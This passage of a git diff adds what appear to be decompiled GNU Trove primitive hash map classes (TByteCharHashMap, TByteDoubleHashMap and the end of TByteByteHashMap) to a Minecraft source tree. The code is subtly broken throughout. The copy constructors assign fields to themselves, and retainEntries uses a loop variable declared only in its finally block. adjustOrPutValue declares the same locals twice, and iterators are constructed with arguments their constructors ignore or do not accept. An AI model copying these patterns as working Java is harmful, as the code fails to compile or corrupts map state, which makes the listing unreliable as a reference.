+    public boolean forEach(TByteProcedure procedure)
+    {
+      return forEachValue(procedure);
+    }
+    
+
+
+    public String toString()
+    {
+      final StringBuilder buf = new StringBuilder("{");
+      forEachValue(new TByteProcedure() {
+        private boolean first = true;
+        
+        public boolean execute(byte value) {
+          if (first) {
+            first = false;
+          } else {
+            buf.append(",");
+          }
+          
+          buf.append(value);
+          return true;
+        }
+      });
+      buf.append("}");
+      return buf.toString();
+    }
+  }
+  
+
+
+
+  class TByteByteKeyHashIterator
+    extends THashPrimitiveIterator
+    implements TByteIterator
+  {
+    TByteByteKeyHashIterator(TPrimitiveHash hash)
+    {
+      super();
+    }
+    
+    public byte next()
+    {
+      moveToNextIndex();
+      return _set[_index];
+    }
+    
+    public void remove()
+    {
+      if (_expectedSize != _hash.size()) {
+        throw new ConcurrentModificationException();
+      }
+      
+      try
+      {
+        _hash.tempDisableAutoCompaction();
+        removeAt(_index);
+      }
+      finally {
+        _hash.reenableAutoCompaction(false);
+      }
+      
+      _expectedSize -= 1;
+    }
+  }
+  
+
+
+
+
+  class TByteByteValueHashIterator
+    extends THashPrimitiveIterator
+    implements TByteIterator
+  {
+    TByteByteValueHashIterator(TPrimitiveHash hash)
+    {
+      super();
+    }
+    
+    public byte next()
+    {
+      moveToNextIndex();
+      return _values[_index];
+    }
+    
+    public void remove()
+    {
+      if (_expectedSize != _hash.size()) {
+        throw new ConcurrentModificationException();
+      }
+      
+      try
+      {
+        _hash.tempDisableAutoCompaction();
+        removeAt(_index);
+      }
+      finally {
+        _hash.reenableAutoCompaction(false);
+      }
+      
+      _expectedSize -= 1;
+    }
+  }
+  
+
+
+
+  class TByteByteHashIterator
+    extends THashPrimitiveIterator
+    implements TByteByteIterator
+  {
+    TByteByteHashIterator(TByteByteHashMap map)
+    {
+      super();
+    }
+    
+    public void advance()
+    {
+      moveToNextIndex();
+    }
+    
+    public byte key()
+    {
+      return _set[_index];
+    }
+    
+    public byte value()
+    {
+      return _values[_index];
+    }
+    
+    public byte setValue(byte val)
+    {
+      byte old = value();
+      _values[_index] = val;
+      return old;
+    }
+    
+    public void remove()
+    {
+      if (_expectedSize != _hash.size()) {
+        throw new ConcurrentModificationException();
+      }
+      try
+      {
+        _hash.tempDisableAutoCompaction();
+        removeAt(_index);
+      }
+      finally {
+        _hash.reenableAutoCompaction(false);
+      }
+      _expectedSize -= 1;
+    }
+  }
+  
+
+
+  public boolean equals(Object other)
+  {
+    if (!(other instanceof TByteByteMap)) {
+      return false;
+    }
+    TByteByteMap that = (TByteByteMap)other;
+    if (that.size() != size()) {
+      return false;
+    }
+    byte[] values = _values;
+    byte[] states = _states;
+    byte this_no_entry_value = getNoEntryValue();
+    byte that_no_entry_value = that.getNoEntryValue();
+    for (int i = values.length; i-- > 0;) {
+      if (states[i] == 1) {
+        byte key = _set[i];
+        byte that_value = that.get(key);
+        byte this_value = values[i];
+        if ((this_value != that_value) && (this_value != this_no_entry_value) && (that_value != that_no_entry_value))
+        {
+
+          return false;
+        }
+      }
+    }
+    return true;
+  }
+  
+
+
+  public int hashCode()
+  {
+    int hashcode = 0;
+    byte[] states = _states;
+    for (int i = _values.length; i-- > 0;) {
+      if (states[i] == 1) {
+        hashcode += (HashFunctions.hash(_set[i]) ^ HashFunctions.hash(_values[i]));
+      }
+    }
+    
+    return hashcode;
+  }
+  
+
+
+  public String toString()
+  {
+    final StringBuilder buf = new StringBuilder("{");
+    forEachEntry(new TByteByteProcedure() {
+      private boolean first = true;
+      
+      public boolean execute(byte key, byte value) { if (first) first = false; else {
+          buf.append(",");
+        }
+        buf.append(key);
+        buf.append("=");
+        buf.append(value);
+        return true;
+      }
+    });
+    buf.append("}");
+    return buf.toString();
+  }
+  
+
+  public void writeExternal(ObjectOutput out)
+    throws IOException
+  {
+    out.writeByte(0);
+    
+
+    super.writeExternal(out);
+    
+
+    out.writeInt(_size);
+    
+
+    for (int i = _states.length; i-- > 0;) {
+      if (_states[i] == 1) {
+        out.writeByte(_set[i]);
+        out.writeByte(_values[i]);
+      }
+    }
+  }
+  
+
+  public void readExternal(ObjectInput in)
+    throws IOException, ClassNotFoundException
+  {
+    in.readByte();
+    
+
+    super.readExternal(in);
+    
+
+    int size = in.readInt();
+    setUp(size);
+    
+
+    while (size-- > 0) {
+      byte key = in.readByte();
+      byte val = in.readByte();
+      put(key, val);
+    }
+  }
+}
diff --git a/src/minecraft/gnu/trove/map/hash/TByteCharHashMap.java b/src/minecraft/gnu/trove/map/hash/TByteCharHashMap.java
new file mode 100644
index 0000000..5cd1149
--- /dev/null
+++ b/src/minecraft/gnu/trove/map/hash/TByteCharHashMap.java
@@ -0,0 +1,1293 @@
+package gnu.trove.map.hash;
+
+import gnu.trove.TByteCollection;
+import gnu.trove.TCharCollection;
+import gnu.trove.function.TCharFunction;
+import gnu.trove.impl.HashFunctions;
+import gnu.trove.impl.hash.TByteCharHash;
+import gnu.trove.impl.hash.THashPrimitiveIterator;
+import gnu.trove.impl.hash.TPrimitiveHash;
+import gnu.trove.iterator.TByteCharIterator;
+import gnu.trove.iterator.TByteIterator;
+import gnu.trove.iterator.TCharIterator;
+import gnu.trove.map.TByteCharMap;
+import gnu.trove.procedure.TByteCharProcedure;
+import gnu.trove.procedure.TByteProcedure;
+import gnu.trove.procedure.TCharProcedure;
+import gnu.trove.set.TByteSet;
+import java.io.Externalizable;
+import java.io.IOException;
+import java.io.ObjectInput;
+import java.io.ObjectOutput;
+import java.util.Arrays;
+import java.util.Collection;
+import java.util.ConcurrentModificationException;
+import java.util.Map;
+import java.util.Map.Entry;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public class TByteCharHashMap
+  extends TByteCharHash
+  implements TByteCharMap, Externalizable
+{
+  static final long serialVersionUID = 1L;
+  protected transient char[] _values;
+  
+  public TByteCharHashMap() {}
+  
+  public TByteCharHashMap(int initialCapacity)
+  {
+    super(initialCapacity);
+  }
+  
+
+
+
+
+
+
+
+
+  public TByteCharHashMap(int initialCapacity, float loadFactor)
+  {
+    super(initialCapacity, loadFactor);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public TByteCharHashMap(int initialCapacity, float loadFactor, byte noEntryKey, char noEntryValue)
+  {
+    super(initialCapacity, loadFactor, noEntryKey, noEntryValue);
+  }
+  
+
+
+
+
+
+
+
+  public TByteCharHashMap(byte[] keys, char[] values)
+  {
+    super(Math.max(keys.length, values.length));
+    
+    int size = Math.min(keys.length, values.length);
+    for (int i = 0; i < size; i++) {
+      put(keys[i], values[i]);
+    }
+  }
+  
+
+
+
+
+
+
+  public TByteCharHashMap(TByteCharMap map)
+  {
+    super(map.size());
+    if ((map instanceof TByteCharHashMap)) {
+      TByteCharHashMap hashmap = (TByteCharHashMap)map;
+      _loadFactor = _loadFactor;
+      no_entry_key = no_entry_key;
+      no_entry_value = no_entry_value;
+      
+      if (no_entry_key != 0) {
+        Arrays.fill(_set, no_entry_key);
+      }
+      
+      if (no_entry_value != 0) {
+        Arrays.fill(_values, no_entry_value);
+      }
+      setUp((int)Math.ceil(10.0F / _loadFactor));
+    }
+    putAll(map);
+  }
+  
+
+
+
+
+
+
+
+
+
+  protected int setUp(int initialCapacity)
+  {
+    int capacity = super.setUp(initialCapacity);
+    _values = new char[capacity];
+    return capacity;
+  }
+  
+
+
+
+
+
+
+  protected void rehash(int newCapacity)
+  {
+    int oldCapacity = _set.length;
+    byte[] oldKeys = _set;
+    char[] oldVals = _values;
+    byte[] oldStates = _states;
+    
+    _set = new byte[newCapacity];
+    _values = new char[newCapacity];
+    _states = new byte[newCapacity];
+    
+    for (int i = oldCapacity; i-- > 0;) {
+      if (oldStates[i] == 1) {
+        byte o = oldKeys[i];
+        int index = insertionIndex(o);
+        _set[index] = o;
+        _values[index] = oldVals[i];
+        _states[index] = 1;
+      }
+    }
+  }
+  
+
+  public char put(byte key, char value)
+  {
+    int index = insertionIndex(key);
+    return doPut(key, value, index);
+  }
+  
+
+  public char putIfAbsent(byte key, char value)
+  {
+    int index = insertionIndex(key);
+    if (index < 0)
+      return _values[(-index - 1)];
+    return doPut(key, value, index);
+  }
+  
+
+  private char doPut(byte key, char value, int index)
+  {
+    char previous = no_entry_value;
+    boolean isNewMapping = true;
+    if (index < 0) {
+      index = -index - 1;
+      previous = _values[index];
+      isNewMapping = false;
+    }
+    byte previousState = _states[index];
+    _set[index] = key;
+    _states[index] = 1;
+    _values[index] = value;
+    if (isNewMapping) {
+      postInsertHook(previousState == 0);
+    }
+    
+    return previous;
+  }
+  
+
+  public void putAll(Map<? extends Byte, ? extends Character> map)
+  {
+    ensureCapacity(map.size());
+    
+    for (Map.Entry<? extends Byte, ? extends Character> entry : map.entrySet()) {
+      put(((Byte)entry.getKey()).byteValue(), ((Character)entry.getValue()).charValue());
+    }
+  }
+  
+
+  public void putAll(TByteCharMap map)
+  {
+    ensureCapacity(map.size());
+    TByteCharIterator iter = map.iterator();
+    while (iter.hasNext()) {
+      iter.advance();
+      put(iter.key(), iter.value());
+    }
+  }
+  
+
+  public char get(byte key)
+  {
+    int index = index(key);
+    return index < 0 ? no_entry_value : _values[index];
+  }
+  
+
+  public void clear()
+  {
+    super.clear();
+    Arrays.fill(_set, 0, _set.length, no_entry_key);
+    Arrays.fill(_values, 0, _values.length, no_entry_value);
+    Arrays.fill(_states, 0, _states.length, (byte)0);
+  }
+  
+
+  public boolean isEmpty()
+  {
+    return 0 == _size;
+  }
+  
+
+  public char remove(byte key)
+  {
+    char prev = no_entry_value;
+    int index = index(key);
+    if (index >= 0) {
+      prev = _values[index];
+      removeAt(index);
+    }
+    return prev;
+  }
+  
+
+  public void removeAt(int index)
+  {
+    _values[index] = no_entry_value;
+    super.removeAt(index);
+  }
+  
+
+  public TByteSet keySet()
+  {
+    return new TKeyView();
+  }
+  
+
+  public byte[] keys()
+  {
+    byte[] keys = new byte[size()];
+    byte[] k = _set;
+    byte[] states = _states;
+    
+    int i = k.length; for (int j = 0; i-- > 0;) {
+      if (states[i] == 1) {
+        keys[(j++)] = k[i];
+      }
+    }
+    return keys;
+  }
+  
+
+  public byte[] keys(byte[] array)
+  {
+    int size = size();
+    if (array.length < size) {
+      array = new byte[size];
+    }
+    
+    byte[] keys = _set;
+    byte[] states = _states;
+    
+    int i = keys.length; for (int j = 0; i-- > 0;) {
+      if (states[i] == 1) {
+        array[(j++)] = keys[i];
+      }
+    }
+    return array;
+  }
+  
+
+  public TCharCollection valueCollection()
+  {
+    return new TValueView();
+  }
+  
+
+  public char[] values()
+  {
+    char[] vals = new char[size()];
+    char[] v = _values;
+    byte[] states = _states;
+    
+    int i = v.length; for (int j = 0; i-- > 0;) {
+      if (states[i] == 1) {
+        vals[(j++)] = v[i];
+      }
+    }
+    return vals;
+  }
+  
+
+  public char[] values(char[] array)
+  {
+    int size = size();
+    if (array.length < size) {
+      array = new char[size];
+    }
+    
+    char[] v = _values;
+    byte[] states = _states;
+    
+    int i = v.length; for (int j = 0; i-- > 0;) {
+      if (states[i] == 1) {
+        array[(j++)] = v[i];
+      }
+    }
+    return array;
+  }
+  
+
+  public boolean containsValue(char val)
+  {
+    byte[] states = _states;
+    char[] vals = _values;
+    
+    for (int i = vals.length; i-- > 0;) {
+      if ((states[i] == 1) && (val == vals[i])) {
+        return true;
+      }
+    }
+    return false;
+  }
+  
+
+  public boolean containsKey(byte key)
+  {
+    return contains(key);
+  }
+  
+
+  public TByteCharIterator iterator()
+  {
+    return new TByteCharHashIterator(this);
+  }
+  
+
+  public boolean forEachKey(TByteProcedure procedure)
+  {
+    return forEach(procedure);
+  }
+  
+
+  public boolean forEachValue(TCharProcedure procedure)
+  {
+    byte[] states = _states;
+    char[] values = _values;
+    for (int i = values.length; i-- > 0;) {
+      if ((states[i] == 1) && (!procedure.execute(values[i]))) {
+        return false;
+      }
+    }
+    return true;
+  }
+  
+
+  public boolean forEachEntry(TByteCharProcedure procedure)
+  {
+    byte[] states = _states;
+    byte[] keys = _set;
+    char[] values = _values;
+    for (int i = keys.length; i-- > 0;) {
+      if ((states[i] == 1) && (!procedure.execute(keys[i], values[i]))) {
+        return false;
+      }
+    }
+    return true;
+  }
+  
+
+  public void transformValues(TCharFunction function)
+  {
+    byte[] states = _states;
+    char[] values = _values;
+    for (int i = values.length; i-- > 0;) {
+      if (states[i] == 1) {
+        values[i] = function.execute(values[i]);
+      }
+    }
+  }
+  
+
+  public boolean retainEntries(TByteCharProcedure procedure)
+  {
+    boolean modified = false;
+    byte[] states = _states;
+    byte[] keys = _set;
+    char[] values = _values;
+    
+
+
+    tempDisableAutoCompaction();
+    try {
+      for (i = keys.length; i-- > 0;) {
+        if ((states[i] == 1) && (!procedure.execute(keys[i], values[i]))) {
+          removeAt(i);
+          modified = true;
+        }
+      }
+    } finally {
+      int i;
+      reenableAutoCompaction(true);
+    }
+    
+    return modified;
+  }
+  
+
+  public boolean increment(byte key)
+  {
+    return adjustValue(key, '\001');
+  }
+  
+
+  public boolean adjustValue(byte key, char amount)
+  {
+    int index = index(key);
+    if (index < 0) {
+      return false;
+    }
+    int tmp17_16 = index; char[] tmp17_13 = _values;tmp17_13[tmp17_16] = ((char)(tmp17_13[tmp17_16] + amount));
+    return true;
+  }
+  
+
+
+  public char adjustOrPutValue(byte key, char adjust_amount, char put_amount)
+  {
+    int index = insertionIndex(key);
+    boolean isNewMapping;
+    char newValue;
+    boolean isNewMapping; if (index < 0) {
+      index = -index - 1; int 
+        tmp25_23 = index; char[] tmp25_20 = _values;char newValue = tmp25_20[tmp25_23] = (char)(tmp25_20[tmp25_23] + adjust_amount);
+      isNewMapping = false;
+    } else {
+      newValue = _values[index] = put_amount;
+      isNewMapping = true;
+    }
+    
+    byte previousState = _states[index];
+    _set[index] = key;
+    _states[index] = 1;
+    
+    if (isNewMapping) {
+      postInsertHook(previousState == 0);
+    }
+    
+    return newValue;
+  }
+  
+  protected class TKeyView implements TByteSet
+  {
+    protected TKeyView() {}
+    
+    public TByteIterator iterator()
+    {
+      return new TByteCharHashMap.TByteCharKeyHashIterator(TByteCharHashMap.this, TByteCharHashMap.this);
+    }
+    
+
+    public byte getNoEntryValue()
+    {
+      return no_entry_key;
+    }
+    
+
+    public int size()
+    {
+      return _size;
+    }
+    
+
+    public boolean isEmpty()
+    {
+      return 0 == _size;
+    }
+    
+
+    public boolean contains(byte entry)
+    {
+      return TByteCharHashMap.this.contains(entry);
+    }
+    
+
+    public byte[] toArray()
+    {
+      return keys();
+    }
+    
+
+    public byte[] toArray(byte[] dest)
+    {
+      return keys(dest);
+    }
+    
+
+
+
+
+
+    public boolean add(byte entry)
+    {
+      throw new UnsupportedOperationException();
+    }
+    
+
+    public boolean remove(byte entry)
+    {
+      return no_entry_value != remove(entry);
+    }
+    
+
+    public boolean containsAll(Collection<?> collection)
+    {
+      for (Object element : collection) {
+        if ((element instanceof Byte)) {
+          byte ele = ((Byte)element).byteValue();
+          if (!containsKey(ele)) {
+            return false;
+          }
+        } else {
+          return false;
+        }
+      }
+      return true;
+    }
+    
+
+    public boolean containsAll(TByteCollection collection)
+    {
+      TByteIterator iter = collection.iterator();
+      while (iter.hasNext()) {
+        if (!containsKey(iter.next())) {
+          return false;
+        }
+      }
+      return true;
+    }
+    
+
+    public boolean containsAll(byte[] array)
+    {
+      for (byte element : array) {
+        if (!TByteCharHashMap.this.contains(element)) {
+          return false;
+        }
+      }
+      return true;
+    }
+    
+
+
+
+
+
+    public boolean addAll(Collection<? extends Byte> collection)
+    {
+      throw new UnsupportedOperationException();
+    }
+    
+
+
+
+
+
+    public boolean addAll(TByteCollection collection)
+    {
+      throw new UnsupportedOperationException();
+    }
+    
+
+
+
+
+
+    public boolean addAll(byte[] array)
+    {
+      throw new UnsupportedOperationException();
+    }
+    
+
+
+    public boolean retainAll(Collection<?> collection)
+    {
+      boolean modified = false;
+      TByteIterator iter = iterator();
+      while (iter.hasNext()) {
+        if (!collection.contains(Byte.valueOf(iter.next()))) {
+          iter.remove();
+          modified = true;
+        }
+      }
+      return modified;
+    }
+    
+
+    public boolean retainAll(TByteCollection collection)
+    {
+      if (this == collection) {
+        return false;
+      }
+      boolean modified = false;
+      TByteIterator iter = iterator();
+      while (iter.hasNext()) {
+        if (!collection.contains(iter.next())) {
+          iter.remove();
+          modified = true;
+        }
+      }
+      return modified;
+    }
+    
+
+    public boolean retainAll(byte[] array)
+    {
+      boolean changed = false;
+      Arrays.sort(array);
+      byte[] set = _set;
+      byte[] states = _states;
+      
+      for (int i = set.length; i-- > 0;) {
+        if ((states[i] == 1) && (Arrays.binarySearch(array, set[i]) < 0)) {
+          removeAt(i);
+          changed = true;
+        }
+      }
+      return changed;
+    }
+    
+
+    public boolean removeAll(Collection<?> collection)
+    {
+      boolean changed = false;
+      for (Object element : collection) {
+        if ((element instanceof Byte)) {
+          byte c = ((Byte)element).byteValue();
+          if (remove(c)) {
+            changed = true;
+          }
+        }
+      }
+      return changed;
+    }
+    
+
+    public boolean removeAll(TByteCollection collection)
+    {
+      if (this == collection) {
+        clear();
+        return true;
+      }
+      boolean changed = false;
+      TByteIterator iter = collection.iterator();
+      while (iter.hasNext()) {
+        byte element = iter.next();
+        if (remove(element)) {
+          changed = true;
+        }
+      }
+      return changed;
+    }
+    
+
+    public boolean removeAll(byte[] array)
+    {
+      boolean changed = false;
+      for (int i = array.length; i-- > 0;) {
+        if (remove(array[i])) {
+          changed = true;
+        }
+      }
+      return changed;
+    }
+    
+
+    public void clear()
+    {
+      TByteCharHashMap.this.clear();
+    }
+    
+
+    public boolean forEach(TByteProcedure procedure)
+    {
+      return forEachKey(procedure);
+    }
+    
+
+    public boolean equals(Object other)
+    {
+      if (!(other instanceof TByteSet)) {
+        return false;
+      }
+      TByteSet that = (TByteSet)other;
+      if (that.size() != size()) {
+        return false;
+      }
+      for (int i = _states.length; i-- > 0;) {
+        if ((_states[i] == 1) && 
+          (!that.contains(_set[i]))) {
+          return false;
+        }
+      }
+      
+      return true;
+    }
+    
+
+    public int hashCode()
+    {
+      int hashcode = 0;
+      for (int i = _states.length; i-- > 0;) {
+        if (_states[i] == 1) {
+          hashcode += HashFunctions.hash(_set[i]);
+        }
+      }
+      return hashcode;
+    }
+    
+
+    public String toString()
+    {
+      final StringBuilder buf = new StringBuilder("{");
+      forEachKey(new TByteProcedure() {
+        private boolean first = true;
+        
+        public boolean execute(byte key)
+        {
+          if (first) {
+            first = false;
+          } else {
+            buf.append(",");
+          }
+          
+          buf.append(key);
+          return true;
+        }
+      });
+      buf.append("}");
+      return buf.toString();
+    }
+  }
+  
+  protected class TValueView implements TCharCollection
+  {
+    protected TValueView() {}
+    
+    public TCharIterator iterator()
+    {
+      return new TByteCharHashMap.TByteCharValueHashIterator(TByteCharHashMap.this, TByteCharHashMap.this);
+    }
+    
+
+    public char getNoEntryValue()
+    {
+      return no_entry_value;
+    }
+    
+
+    public int size()
+    {
+      return _size;
+    }
+    
+
+    public boolean isEmpty()
+    {
+      return 0 == _size;
+    }
+    
+
+    public boolean contains(char entry)
+    {
+      return containsValue(entry);
+    }
+    
+
+    public char[] toArray()
+    {
+      return values();
+    }
+    
+
+    public char[] toArray(char[] dest)
+    {
+      return values(dest);
+    }
+    
+
+    public boolean add(char entry)
+    {
+      throw new UnsupportedOperationException();
+    }
+    
+
+    public boolean remove(char entry)
+    {
+      char[] values = _values;
+      byte[] set = _set;
+      
+      for (int i = values.length; i-- > 0;) {
+        if ((set[i] != 0) && (set[i] != 2) && (entry == values[i])) {
+          removeAt(i);
+          return true;
+        }
+      }
+      return false;
+    }
+    
+
+    public boolean containsAll(Collection<?> collection)
+    {
+      for (Object element : collection) {
+        if ((element instanceof Character)) {
+          char ele = ((Character)element).charValue();
+          if (!containsValue(ele)) {
+            return false;
+          }
+        } else {
+          return false;
+        }
+      }
+      return true;
+    }
+    
+
+    public boolean containsAll(TCharCollection collection)
+    {
+      TCharIterator iter = collection.iterator();
+      while (iter.hasNext()) {
+        if (!containsValue(iter.next())) {
+          return false;
+        }
+      }
+      return true;
+    }
+    
+
+    public boolean containsAll(char[] array)
+    {
+      for (char element : array) {
+        if (!containsValue(element)) {
+          return false;
+        }
+      }
+      return true;
+    }
+    
+
+    public boolean addAll(Collection<? extends Character> collection)
+    {
+      throw new UnsupportedOperationException();
+    }
+    
+
+    public boolean addAll(TCharCollection collection)
+    {
+      throw new UnsupportedOperationException();
+    }
+    
+
+    public boolean addAll(char[] array)
+    {
+      throw new UnsupportedOperationException();
+    }
+    
+
+
+    public boolean retainAll(Collection<?> collection)
+    {
+      boolean modified = false;
+      TCharIterator iter = iterator();
+      while (iter.hasNext()) {
+        if (!collection.contains(Character.valueOf(iter.next()))) {
+          iter.remove();
+          modified = true;
+        }
+      }
+      return modified;
+    }
+    
+
+    public boolean retainAll(TCharCollection collection)
+    {
+      if (this == collection) {
+        return false;
+      }
+      boolean modified = false;
+      TCharIterator iter = iterator();
+      while (iter.hasNext()) {
+        if (!collection.contains(iter.next())) {
+          iter.remove();
+          modified = true;
+        }
+      }
+      return modified;
+    }
+    
+
+    public boolean retainAll(char[] array)
+    {
+      boolean changed = false;
+      Arrays.sort(array);
+      char[] values = _values;
+      byte[] states = _states;
+      
+      for (int i = values.length; i-- > 0;) {
+        if ((states[i] == 1) && (Arrays.binarySearch(array, values[i]) < 0)) {
+          removeAt(i);
+          changed = true;
+        }
+      }
+      return changed;
+    }
+    
+
+    public boolean removeAll(Collection<?> collection)
+    {
+      boolean changed = false;
+      for (Object element : collection) {
+        if ((element instanceof Character)) {
+          char c = ((Character)element).charValue();
+          if (remove(c)) {
+            changed = true;
+          }
+        }
+      }
+      return changed;
+    }
+    
+
+    public boolean removeAll(TCharCollection collection)
+    {
+      if (this == collection) {
+        clear();
+        return true;
+      }
+      boolean changed = false;
+      TCharIterator iter = collection.iterator();
+      while (iter.hasNext()) {
+        char element = iter.next();
+        if (remove(element)) {
+          changed = true;
+        }
+      }
+      return changed;
+    }
+    
+
+    public boolean removeAll(char[] array)
+    {
+      boolean changed = false;
+      for (int i = array.length; i-- > 0;) {
+        if (remove(array[i])) {
+          changed = true;
+        }
+      }
+      return changed;
+    }
+    
+
+    public void clear()
+    {
+      TByteCharHashMap.this.clear();
+    }
+    
+
+    public boolean forEach(TCharProcedure procedure)
+    {
+      return forEachValue(procedure);
+    }
+    
+
+
+    public String toString()
+    {
+      final StringBuilder buf = new StringBuilder("{");
+      forEachValue(new TCharProcedure() {
+        private boolean first = true;
+        
+        public boolean execute(char value) {
+          if (first) {
+            first = false;
+          } else {
+            buf.append(",");
+          }
+          
+          buf.append(value);
+          return true;
+        }
+      });
+      buf.append("}");
+      return buf.toString();
+    }
+  }
+  
+
+
+
+  class TByteCharKeyHashIterator
+    extends THashPrimitiveIterator
+    implements TByteIterator
+  {
+    TByteCharKeyHashIterator(TPrimitiveHash hash)
+    {
+      super();
+    }
+    
+    public byte next()
+    {
+      moveToNextIndex();
+      return _set[_index];
+    }
+    
+    public void remove()
+    {
+      if (_expectedSize != _hash.size()) {
+        throw new ConcurrentModificationException();
+      }
+      
+      try
+      {
+        _hash.tempDisableAutoCompaction();
+        removeAt(_index);
+      }
+      finally {
+        _hash.reenableAutoCompaction(false);
+      }
+      
+      _expectedSize -= 1;
+    }
+  }
+  
+
+
+
+
+  class TByteCharValueHashIterator
+    extends THashPrimitiveIterator
+    implements TCharIterator
+  {
+    TByteCharValueHashIterator(TPrimitiveHash hash)
+    {
+      super();
+    }
+    
+    public char next()
+    {
+      moveToNextIndex();
+      return _values[_index];
+    }
+    
+    public void remove()
+    {
+      if (_expectedSize != _hash.size()) {
+        throw new ConcurrentModificationException();
+      }
+      
+      try
+      {
+        _hash.tempDisableAutoCompaction();
+        removeAt(_index);
+      }
+      finally {
+        _hash.reenableAutoCompaction(false);
+      }
+      
+      _expectedSize -= 1;
+    }
+  }
+  
+
+
+
+  class TByteCharHashIterator
+    extends THashPrimitiveIterator
+    implements TByteCharIterator
+  {
+    TByteCharHashIterator(TByteCharHashMap map)
+    {
+      super();
+    }
+    
+    public void advance()
+    {
+      moveToNextIndex();
+    }
+    
+    public byte key()
+    {
+      return _set[_index];
+    }
+    
+    public char value()
+    {
+      return _values[_index];
+    }
+    
+    public char setValue(char val)
+    {
+      char old = value();
+      _values[_index] = val;
+      return old;
+    }
+    
+    public void remove()
+    {
+      if (_expectedSize != _hash.size()) {
+        throw new ConcurrentModificationException();
+      }
+      try
+      {
+        _hash.tempDisableAutoCompaction();
+        removeAt(_index);
+      }
+      finally {
+        _hash.reenableAutoCompaction(false);
+      }
+      _expectedSize -= 1;
+    }
+  }
+  
+
+
+  public boolean equals(Object other)
+  {
+    if (!(other instanceof TByteCharMap)) {
+      return false;
+    }
+    TByteCharMap that = (TByteCharMap)other;
+    if (that.size() != size()) {
+      return false;
+    }
+    char[] values = _values;
+    byte[] states = _states;
+    char this_no_entry_value = getNoEntryValue();
+    char that_no_entry_value = that.getNoEntryValue();
+    for (int i = values.length; i-- > 0;) {
+      if (states[i] == 1) {
+        byte key = _set[i];
+        char that_value = that.get(key);
+        char this_value = values[i];
+        if ((this_value != that_value) && (this_value != this_no_entry_value) && (that_value != that_no_entry_value))
+        {
+
+          return false;
+        }
+      }
+    }
+    return true;
+  }
+  
+
+
+  public int hashCode()
+  {
+    int hashcode = 0;
+    byte[] states = _states;
+    for (int i = _values.length; i-- > 0;) {
+      if (states[i] == 1) {
+        hashcode += (HashFunctions.hash(_set[i]) ^ HashFunctions.hash(_values[i]));
+      }
+    }
+    
+    return hashcode;
+  }
+  
+
+
+  public String toString()
+  {
+    final StringBuilder buf = new StringBuilder("{");
+    forEachEntry(new TByteCharProcedure() {
+      private boolean first = true;
+      
+      public boolean execute(byte key, char value) { if (first) first = false; else {
+          buf.append(",");
+        }
+        buf.append(key);
+        buf.append("=");
+        buf.append(value);
+        return true;
+      }
+    });
+    buf.append("}");
+    return buf.toString();
+  }
+  
+
+  public void writeExternal(ObjectOutput out)
+    throws IOException
+  {
+    out.writeByte(0);
+    
+
+    super.writeExternal(out);
+    
+
+    out.writeInt(_size);
+    
+
+    for (int i = _states.length; i-- > 0;) {
+      if (_states[i] == 1) {
+        out.writeByte(_set[i]);
+        out.writeChar(_values[i]);
+      }
+    }
+  }
+  
+
+  public void readExternal(ObjectInput in)
+    throws IOException, ClassNotFoundException
+  {
+    in.readByte();
+    
+
+    super.readExternal(in);
+    
+
+    int size = in.readInt();
+    setUp(size);
+    
+
+    while (size-- > 0) {
+      byte key = in.readByte();
+      char val = in.readChar();
+      put(key, val);
+    }
+  }
+}
diff --git a/src/minecraft/gnu/trove/map/hash/TByteDoubleHashMap.java b/src/minecraft/gnu/trove/map/hash/TByteDoubleHashMap.java
new file mode 100644
index 0000000..a20306c
--- /dev/null
+++ b/src/minecraft/gnu/trove/map/hash/TByteDoubleHashMap.java
@@ -0,0 +1,1293 @@
+package gnu.trove.map.hash;
+
+import gnu.trove.TByteCollection;
+import gnu.trove.TDoubleCollection;
+import gnu.trove.function.TDoubleFunction;
+import gnu.trove.impl.HashFunctions;
+import gnu.trove.impl.hash.TByteDoubleHash;
+import gnu.trove.impl.hash.THashPrimitiveIterator;
+import gnu.trove.impl.hash.TPrimitiveHash;
+import gnu.trove.iterator.TByteDoubleIterator;
+import gnu.trove.iterator.TByteIterator;
+import gnu.trove.iterator.TDoubleIterator;
+import gnu.trove.map.TByteDoubleMap;
+import gnu.trove.procedure.TByteDoubleProcedure;
+import gnu.trove.procedure.TByteProcedure;
+import gnu.trove.procedure.TDoubleProcedure;
+import gnu.trove.set.TByteSet;
+import java.io.Externalizable;
+import java.io.IOException;
+import java.io.ObjectInput;
+import java.io.ObjectOutput;
+import java.util.Arrays;
+import java.util.Collection;
+import java.util.ConcurrentModificationException;
+import java.util.Map;
+import java.util.Map.Entry;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public class TByteDoubleHashMap
+  extends TByteDoubleHash
+  implements TByteDoubleMap, Externalizable
+{
+  static final long serialVersionUID = 1L;
+  protected transient double[] _values;
+  
+  public TByteDoubleHashMap() {}
+  
+  public TByteDoubleHashMap(int initialCapacity)
+  {
+    super(initialCapacity);
+  }
+  
+
+
+
+
+
+
+
+
+  public TByteDoubleHashMap(int initialCapacity, float loadFactor)
+  {
+    super(initialCapacity, loadFactor);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public TByteDoubleHashMap(int initialCapacity, float loadFactor, byte noEntryKey, double noEntryValue)
+  {
+    super(initialCapacity, loadFactor, noEntryKey, noEntryValue);
+  }
+  
+
+
+
+
+
+
+
+  public TByteDoubleHashMap(byte[] keys, double[] values)
+  {
+    super(Math.max(keys.length, values.length));
+    
+    int size = Math.min(keys.length, values.length);
+    for (int i = 0; i < size; i++) {
+      put(keys[i], values[i]);
+    }
+  }
+  
+
+
+
+
+
+
+  public TByteDoubleHashMap(TByteDoubleMap map)
+  {
+    super(map.size());
+    if ((map instanceof TByteDoubleHashMap)) {
+      TByteDoubleHashMap hashmap = (TByteDoubleHashMap)map;
+      _loadFactor = _loadFactor;
+      no_entry_key = no_entry_key;
+      no_entry_value = no_entry_value;
+      
+      if (no_entry_key != 0) {
+        Arrays.fill(_set, no_entry_key);
+      }
+      
+      if (no_entry_value != 0.0D) {
+        Arrays.fill(_values, no_entry_value);
+      }
+      setUp((int)Math.ceil(10.0F / _loadFactor));
+    }
+    putAll(map);
+  }
+  
+
+
+
+
+
+
+
+
+
+  protected int setUp(int initialCapacity)
+  {
+    int capacity = super.setUp(initialCapacity);
+    _values = new double[capacity];
+    return capacity;
+  }
